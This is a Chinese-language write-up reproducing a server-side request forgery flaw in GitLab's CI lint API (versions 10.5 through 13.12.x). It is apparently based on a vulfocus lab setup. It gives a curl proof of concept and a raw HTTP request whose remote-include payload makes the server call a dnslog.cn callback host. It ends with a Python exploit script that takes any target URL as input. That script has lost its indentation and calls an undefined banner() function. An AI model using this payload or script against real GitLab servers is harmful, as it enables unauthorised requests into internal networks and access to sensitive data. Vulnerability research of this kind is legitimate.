简介
GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。
漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml。因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过。远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
影响版本
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12
测试环境
使用vulfocus进行镜像下载并启动
漏洞复现
POC为:
命令型
curl -k -s --show-error -H 'Content-Type: application/json' http://192.168.8.230:24365/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://7gmmkz.dnslog.cn/api/v1/targets/?test.yml"}'
数据包类型
POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.8.230:36586
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111
{"include_merged_yaml": true, "content": "include:\n remote: http://4ggwkl.dnslog.cn/api/v1/targets?test.yml"}
再查看dnslog,已经有了记录
Exp:
import json
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def poc(url, dnshost):
api="/api/v4/ci/lint"
data = {"include_merged_yaml": True, "content": "include:\n remote: http://{}/api/v1/targets?test.yml".format(dnshost)}
headers = {"Content-Type": "application/json"}
r = requests.post(url=url+api, data=json.dumps(data), headers=headers, verify=False)
if r.status_code == 200:
if dnshost in r.json()["errors"][0]:
print ("[+] 可能存在 GitLab SSRF 漏洞,请查看dnslog记录.")
return
print ("[-] 不存在 GitLab SSRF 漏洞!")
def main():
banner()
if (len(sys.argv) == 3):
url = sys.argv[1]
dnshost = sys.argv[2]
poc(url, dnshost)
else:
print("Example: \n python3 " + sys.argv[0] + " <target> <dnshost>\n")
if __name__ == '__main__':
main()